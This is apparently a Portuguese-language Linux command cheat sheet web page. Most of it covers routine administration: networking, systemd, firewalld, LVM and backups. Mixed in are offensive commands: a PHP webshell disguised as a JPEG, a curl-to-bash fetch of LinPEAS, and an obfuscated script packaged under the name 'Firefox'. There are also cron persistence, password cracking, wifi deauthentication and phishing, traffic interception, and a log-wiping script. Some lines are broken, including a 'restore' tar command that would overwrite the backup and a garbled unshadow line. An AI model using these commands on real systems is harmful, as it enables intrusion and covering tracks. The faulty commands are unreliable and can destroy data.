Este site foi criado para facilitar a busca por comandos e dicas essenciais de Linux, especialmente voltados para profissionais de segurança cibernética e administradores de servidores. Aqui você encontrará uma coleção de comandos úteis, scripts e boas práticas para otimizar seu fluxo de trabalho e garantir a segurança dos seus sistemas.
Os comandos e scripts fornecidos aqui são exemplos gerais. Sempre adapte-os ao ambiente específico da sua organização e teste-os antes de usar em produção.
Remover KeySensitive - echo set completion-ignore-case on | sudo tee -a /etc/inputrc
Uso de disco - df -h
Uso de memória - free -m
Uso de CPU - top
Verificar processos - ps axjf
Verificar versão do Kernel - uname -a
Verificar versão do SO - cat /etc/*-release
Listar comandos disponiveis - apropos ''
Listar todos os comandos disponíveis - compgen -c
Listar todos os aliases disponíveis - compgen -a
Listar "arquivos" abertos - lsof
Rastrear Chamadas do Sistema - strace
Rastrear Chamadas de Bibliotecas - ltrace
Listar dispositivos USB por ID - ls -l /dev/disk/by-id/
Informações detalhadas de USB - sudo lsusb -v -s 001:005
Informações detalhadas por Blocos - udevadm info --query=all --name=/dev/sda | grep SERIAL
Dashboards para CTI: intext:start.me;threat
Dashboards para OSINT: intext:start.me;osint
ExplainShell: Explica comandos do shell.
Regex101: Teste e aprenda expressões regulares.
GTmetrix: Análise de desempenho de sites.
Adicionar usuário com restrições:
sudo useradd --badname -m -s /bin/rbash usuario
sudo passwd usuario
Para alterar o SHELL:
sudo usermod --shell /bin/bash usuario
Criar usuário sem Home
sudo adduser --system --no-create-home --group nome_do_usuario
Remover restrição do PIP INSTALL - sudo rm /usr/lib/python3.11/EXTERNALLY-MANAGED
mkdir novo_projeto && cd novo_projeto
Python2.7 - python2.7 -m virtualenv venv
Python3.x - python3 -m venv venv
Habilitar o Env - source venv/bin/activate
Desabilitar o Env - deactivate
Instalar Libs - pip install -r requirements.txt
Exportar Libs - pip freeze > requirements.txt
BKP de diretório - sudo tar -cvpzf /caminho/para/backup_home.tar.gz -C /home
Restaurar BKP - sudo tar -cvpzf /caminho/para/backup_home.tar.gz -C /home/seu_usuario
Verificar Interfaces/IPs - ip -br a
"Subir" interface de rede - sudo ip link set eth0 up
"Derrubar" interface de rede - sudo ip link set eth0 down
Renomear interface de rede - sudo ip link set eth0 name eth1
Verificar endereço IP da interface - ip addr show eth0
Configurar endereço IP estático - sudo ip addr add 192.168.1.100/24 dev eth0
Remover endereço IP - sudo ip addr del 192.168.1.100/24 dev eth0
Adicionar rota padrão - sudo ip route add default via 192.168.1.1
Verificar tabela de roteamento - ip route show
Testar conectividade (ping) - ping google.com
Liberar e renovar IP (DHCP) - sudo dhclient -r eth0 && sudo dhclient eth0
Verificar status da interface - ip link show eth0
Habilitar/Desabilitar IPv6 - sudo sysctl -w net.ipv6.conf.eth0.disable_ipv6=1
Verificar tráfego de rede - sudo iftop -i eth0
Configurar DNS temporário - sudo echo "nameserver 8.8.8.8" > /etc/resolv.conf
Verificar resolução DNS - nslookup google.com
Verificar velocidade da interface - ethtool eth0
Configurar MTU da interface - sudo ip link set eth0 mtu 1500
Monitorar tráfego de rede em tempo real - sudo tcpdump -i eth0
Observar conexões ativas - ss -tulnp
Descoberta de Rede (ARP) - - sudo netdiscover
Verificar Tabela Arp - - cat /proc/net/arp
GRUB:
grub> set root=(hd0,1) <<- sintaxe da versão Grub2
grub> linux /boot/vmlinuz-xxxx root=/dev/sda1 ro quiet
grub> initrd /boot/initrd.img
grub> boot
CFG:
sudo nano /etc/default/grub
Manual em: www.gnu.org/software/grub
Listar Serviços - sudo systemctl list-unit-files
Habilitar Serviço - sudo systemctl enable (nome do serviço)
Desabilitar Serviço - sudo systemctl disable (nome do serviço)
Status do Serviço - sudo systemctl status (nome do serviço)
Iniciar Serviço - sudo systemctl start (nome do serviço)
Parar Serviço - sudo systemctl stop (nome do serviço)
Reiniciar Serviço - sudo systemctl restart (nome do serviço)
Recarregar Serviços - sudo systemctl daemon-reload
Diretórios comuns dos Serviços - /lib, /etc e /run : /systemd/system/
Redirecionar saída para destino específico:
sudo iptables -t nat -A OUTPUT -o tun0 -j DNAT --to-destination 10.13.5.224
Alterar a interface de uma zona:
firewall-cmd --zone={selected_zone} --change-interface={seleciona_interface} --permanent
Adicionar interfaces a uma zona:
firewall-cmd --zone={selected_zone} --permanent --add-interface={seleciona_interface}
Remover interfaces de uma zona:
firewall-cmd --zone={selected_zone} --permanent --remove-interface={interface_to_remove}
Adicionar serviços a uma zona:
firewall-cmd --add-service={service_choice} --permanent --zone={selected_zone}
Remover serviços de uma zona:
firewall-cmd --remove-service={service_choice} --permanent --zone={selected_zone}
Adicionar portas a uma zona:
firewall-cmd --add-port={port}/tcp --permanent --zone={selected_zone}
firewall-cmd --add-port={port}/udp --permanent --zone={selected_zone}
Remover portas de uma zona:
firewall-cmd --remove-port={port}/tcp --permanent --zone={selected_zone}
firewall-cmd --remove-port={port}/udp --permanent --zone={selected_zone}
Bloquear IP:
firewall-cmd --permanent --zone={selected_zone} --add-rich-rule='rule family=ipv4 source address={blocked_ip} drop'
Bloquear range de IP por máscara (não testado):
firewall-cmd --permanent --zone={selected_zone} --add-rich-rule='rule family=ipv4 source address={ip_mask} drop'
Alterar o target:
firewall-cmd --zone=selected_zone --set-target=sit-target
Aplicar configurações:
firewall-cmd --reload
Adicionar redirecionamento de porta:
firewall-cmd --add-forward-port=port=80:proto=tcp:toport=3000
firewall-cmd --runtime-to-permanent
Remover redirecionamento de porta:
firewall-cmd --remove-forward-port=port=80:proto=tcp:toport=3000:toaddr=
firewall-cmd --runtime-to-permanent
Com WGET - wget --mirror --convert-links --adjust-extension --page-requisites https://URL
IP Externo - curl ifconfig.me
Camuflar WebShellPHP em Imagem:
echo -e "\xFF\xD8\xFF\xE0" > image.php
echo -n '<?php $p = file_get_contents("/etc/natas_webpass/natas14"); echo $p; ?>' >> image.php
Verificar o arquivo
file image.php
Deve retornar o seguinte:
image.php: JPEG image data
LinPeas - curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash
Reverse Shell - https://www.revshells.com/
PyArmor - pyarmor -q gen gunkey.py
PyInstaller - pyinstaller -n Firefox -F gunkey.py
PyArmor with Obfuscation - pyarmor gen -O obfdist --pack dist/Firefox gunkey.py
find / -type f \( -name usuario1 -o -name usuario2 \) -exec ls -ladb {} \; 2>/dev/null
find / -name root.txt -exec ls -lda {} \; 2>/dev/null
find / -user root -perm -4000 -exec ls -ladb {} \; 2>/dev/null
find / -type f \( -perm -4000 -o -perm -2000 \) -exec ls -l {} \; 2>/dev/null
find / -type f -perm -u=s -user des -ls 2>/dev/null
find / -type f -name "*.bak" 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
O arquivo crontab tem cinco campos de tempo seguidos pelo comando a ser executado:
┌──────── min (0 - 59) │ ┌───────── hora (0 - 23) │ │ ┌────────── dia do mês (1 - 31) │ │ │ ┌─────────── mês (1 - 12) │ │ │ │ ┌──────────── dia da semana (0 - 6) │ │ │ │ │ │ │ │ │ │ │ │ │ │ │ * * * * * comando a ser executado
Agendar uma tarefa para ser executada a cada minuto:
echo "*/1 * * * * /usr/bin/python3 /home/kali/Documentos/gun.py" | crontab -
reRun JOHN > delete 'john.pot'
unshadow passwd shcat adow > passwords.txt
john --show
Imprimir número da linha e conteúdo - awk '{print NR,$0}' file.txt
Imprimir primeira e terceira coluna - awk '{print $1, $3}' file.txt
Usar cat e awk para imprimir primeira e terceira coluna - cat logfile | awk '{print $1, $3}'
Substituir 'espaço' por ':' - awk 'BEGIN{FS=" "; OFS=":"} {print $1,$4}' awk.txt
Coluna em linhas separado por vírgula - awk 'BEGIN{ORS=", "}{print $1}' awk.txt
Formatar disco para ext4:
sudo mkfs.ext4 /dev/sdX
Shred disco:
sudo shred -n 1 -v /dev/sdX
Script para limpar logs:
#! /bin/sh cd /var/log for l in `ls -p|grep '/'`; do echo -n >$l &>/dev/null echo Zerando arquivo $l... done echo Limpeza de log concluída!
Verificar se o novo disco esta disponivél
lsblk
fdisk -l
Criar um Physical Volume (PV)
sudo pvcreate /dev/sdb
sudo pvdisplay
Identifique o VG que seu LVM está usando:
sudo vgdisplay
Suponha que seu VG se chame vg_root. Agora, adicione o novo PV ao VG:
sudo vgextend vg_root /dev/sdb
Confirme se o disco foi adicionado:
sudo vgdisplay
Liste os LVs disponíveis:
sudo lvdisplay
Identifique o LV que deseja expandir (exemplo: /dev/vg_root/lv_root) e aumente o tamanho dele:
sudo lvextend -l +100%FREE /dev/vg_root/lv_root
Se o sistema de arquivos for ext4, use:
sudo resize2fs /dev/vg_root/lv_root
Se for XFS, use:
sudo xfs_growfs /dev/vg_root/lv_root
Verifique se o espaço foi expandido:
df -h
Instalar Proxychains:
sudo apt install proxychains
Instalar Tor:
sudo apt install tor
Iniciar serviço Tor:
sudo service tor start
Editar configuração do Proxychains:
sudo nano /etc/proxychains.conf
Adicionar as seguintes linhas:
dynamic_chain proxy_dns tcp_read_time_out 15000 tcp_connect_time_out 8000 [ProxyList] # Usando o Tor como proxy socks4 127.0.0.1 9050
Testar conexão com Tor:
curl --socks5 127.0.0.1:9050 https://check.torproject.org
hcxdumptool -o dump.pcapng -i wlan0 --enable_status=1
hcxpcaptool -z test.16800 test.pcapng
hashcat -m 16800 test.16800 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -a 0
hashcat -m 16800 test.16800 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule -a 0 -w 3
sudo airmon-ng wlan0 <channel>
sudo iwconfig wlp4s0mon channel 1
sudo aireplay-ng --deauth 200 -a 00:31:92:AF:52:B6 wlan0
bettercap -T 192.168.0.100 --interface at0 --no-spoofing --no-discovery --proxy --proxy-port 80 --proxy-https --proxy-https-port 443 -P POST
sudo wifiphisher -nD -i wlan0
sudo wifite --bully --kill
cewl -d 2 -m 5 -w passwords.txt http://10.10.145.228 --with-numbers
cewl -d 0 -m 5 -w usernames.txt http://MACHINE_IP/team.php --lowercase
crunch 3 3 0123456789ABCDEF -o 3digits.txt
crunch 3 3 -f /usr/share/crunch/charset.lst mixalpha-numeric-all-space -o 3digits.txt
Crie o arquivo de serviço:
sudo nano /etc/systemd/system/macchanger.service [Unit] Description=Change MAC address After=network.target [Service] Type=oneshot ExecStart=/usr/sbin/ip link set [interface] down ExecStart=/usr/bin/macchanger -r [interface] ExecStart=/usr/sbin/ip link set [interface] up RemainAfterExit=yes [Install] WantedBy=multi-user.target
Recarregue os daemons do systemd:
sudo systemctl daemon-reload
Habilite e inicie o serviço:
sudo systemctl enable macchanger.service
sudo systemctl start macchanger.service
Verifique o status do serviço:
sudo systemctl status macchanger.service
Verifique o endereço MAC:
macchanger -s [interface]
Desmontar binário com objdump: objdump -d [binario]
Inspecionar strings em um binário: strings binario
Descompilar binário com Ghidra: ghidra binario
Descompilar binário com Radare2: r2 -A binario
Debug com GDB: gdb binario
Carregar binário no Hopper: hopper binario
Verificar dependências de um binário: ldd binario
Monitorar chamadas de sistema: strace ./binario
Exibir conteúdo hexadecimal de um arquivo: hexdump -C arquivo
Exibir informações detalhadas de um arquivo: stat arquivo
Inspecionar cabeçalhos ELF de um binário: readelf -h binario
Listar fusos horários disponíveis:
timedatectl list-timezones | grep America/[Regiao]
Definir fuso horário:
sudo timedatectl set-timezone America/Sao_Paulo